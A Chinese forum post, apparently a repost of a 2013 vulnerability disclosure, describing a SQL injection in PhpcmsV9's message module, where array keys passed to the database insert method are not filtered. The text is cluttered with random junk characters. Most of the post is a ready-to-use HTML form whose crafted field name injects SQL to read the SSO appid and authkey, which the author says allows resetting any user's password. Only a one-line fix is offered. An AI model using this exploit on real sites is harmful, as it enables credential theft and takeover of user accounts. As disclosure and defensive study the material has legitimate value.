找回密码
 立即注册
查看: 3006|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:- _1 l0 _) V8 X3 y

- ~+ f9 O: E7 U' v7 }8 |0 |第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。. Y8 }: R! s5 c; T+ v, `

4 C0 S& a$ |( C" F+ R; n& J明天再更新下一个漏洞。
! {2 D! E) x4 a. g3 g详细说明:( w' n6 ]# O. Y$ }1 ^) H
在/phpcms9/phpcms/modules/message/index.php中有代码如下:% F9 q; S, k4 m% F) f8 u" `; n

# r  _+ H6 F2 o% B$messageid = $this->message_db->insert($_POST['info'],true);3 e9 i% T. A8 q+ T8 C) J. B

; i5 M% T2 w# u4 P3 w! z, d8 f% ~4 p
insert方法是key value的,代码如下:# t7 |. f/ H6 m( h/ s/ i& s

" V7 I2 J& C& x! [/ ^3 k& }- l! t- bpublic function insert($data, $table, $return_insert_id = false, $replace = false) {4 J  s6 `! Q3 J) F( O
                if(!is_array( $data ) || $table == '' || count($data) == 0) {; n' E* b. u2 K0 R$ j( X
                        return false;. H, ^( n! C6 q7 Y5 r8 @2 k% w
                }- s9 Y6 F2 {; I+ c2 x
               
! X! p/ e- c1 T                $fielddata = array_keys($data);  v4 ]0 K! b( _( N* y4 E$ Y! M- ^
                $valuedata = array_values($data);7 X" U, T1 s- z$ R
                array_walk($fielddata, array($this, 'add_special_char'));
' i+ m/ s4 G8 F) t8 c; @                array_walk($valuedata, array($this, 'escape_string'));
8 ?/ A5 B9 i  `7 X               
3 O# e- _/ {7 R: T: |9 ^$ ~                $field = implode (',', $fielddata);
8 `; b- ^# @/ R# e/ ~                $value = implode (',', $valuedata);9 H" V3 X3 d+ N0 V; g
2 d9 a8 ^( l8 S( P  @+ g( v
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';! t3 o/ ^% _" O: ^) f3 ]: `
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
9 X) b0 a' h4 U  K' |; d/ f7 x                $return = $this->execute($sql);$ U+ I5 t6 c  o; J3 M' e
                return $return_insert_id ? $this->insert_id() : $return;
3 y  z3 l: W: V8 t# W# w% G        }" a+ i6 L' W1 X4 p- Z" ~

6 n& l4 ^0 `- e8 ]  ], u3 x* i: `! M1 @+ V6 U
嗯,很遗憾的是
1 g( v& w3 s+ n/ G. C" Q( J  d2 W  `# U- v* J: o5 [. P/ h& [
array_walk($fielddata, array($this, 'add_special_char'));( x1 Y9 c7 g. k$ p
, o; g2 w) S3 k" L; k

# Y/ z9 ^6 H. r6 K1 D0 S  d中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
- K1 m# G7 M8 F6 E% L8 g8 `3 d  S) B: ?! [% R  c
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
" ]; w- r- G2 z& f( ?, _! ^6 _4 |/ x6 p! X3 p" x" B6 x9 Q
漏洞证明:8 E' Z8 @. Z- [  W8 a6 f, r
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
; [8 O$ H) @; w1 `+ c0 u- b
( F9 h  H4 f' g/ e: I0 q& @" R" E9 R% _1 A& o, A1 i& ~3 W
表单如下:用户名什么的得自己改一改。
& v1 x6 H: q3 M" `' @& Q<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">6 j2 h/ h) i0 V3 V8 j) R. P% i
<table width="100%" cellspacing="0" class="table_form">
5 ?7 `( V9 d' {<tr>
: C; n) ?" v" O  E7 a<th>标 题:</th>4 z. m* ~4 s0 q+ {" v( \0 @7 h5 J
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
6 i# X: K  j/ l7 w" R) e) x% P0 I</tr>
8 f% |  W5 e0 ^1 S1 j. n; O) l4 ?/ k, j<tr>
2 {# N) c6 E' p& j2 J<th>内 容:</th>* T5 ]$ I  S7 N' N
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
% p; S/ G9 m: F. `) f: R" |</tr>: \4 I4 s/ p  T4 f$ r8 U
<input type="hidden" name="info[replyid]" value="2" />
% @( K3 Y3 |3 D+ f- q3 |<input type="hidden" name="info[send_to_id]" value="cc" /> * p' V+ E0 z. ~$ z% u5 g* i
<input type="hidden" name="info[send_from_id]" value="hh">! e, k5 l, m- ~; W, k
<!-- 漏洞的利用重点在这里开始 -->4 x0 w- l6 V* N; @
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
$ ]' `7 w6 S8 b$ ^9 Y<!-- 漏洞的利用重点在这里结束 -->
5 `( j3 i+ f) f' K$ k# M<tr>
8 r1 {7 n* M5 B, ]& V9 d<th>验证码:</th>4 a1 J$ [8 Y0 l* u2 W5 ^% }) Q
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
. K. L. b$ d- z/ T- a! U</tr>0 o8 w$ c: C+ r& n" D( B
<tr>5 j1 T/ k! ?! M6 c  k3 N
<td></td>/ D# O3 A* T2 S: q! l+ |4 g
<td colspan="2"><label>
' x3 x  `6 ~4 J( T5 j  O1 _( ~<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
. @0 _+ Z& W, h</label></td>
1 j2 I, Q1 X1 d- |( g+ G! U</tr>
  _0 p# u8 B7 }* }* F+ q</table>
8 V4 G  T" T% P2 Y+ T( Z: P$ S& p</form>+ A' C( G* k% Y" z6 x8 c' |( }
在add_special_char函数内对key做过滤就可以了。
* p9 y. U8 O1 p& f
8 ?$ g0 F. x" G& N" h- x) P& V4 J- m

2 b4 O. R' o9 ?1 ^/ D0 S- {$ j, j

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表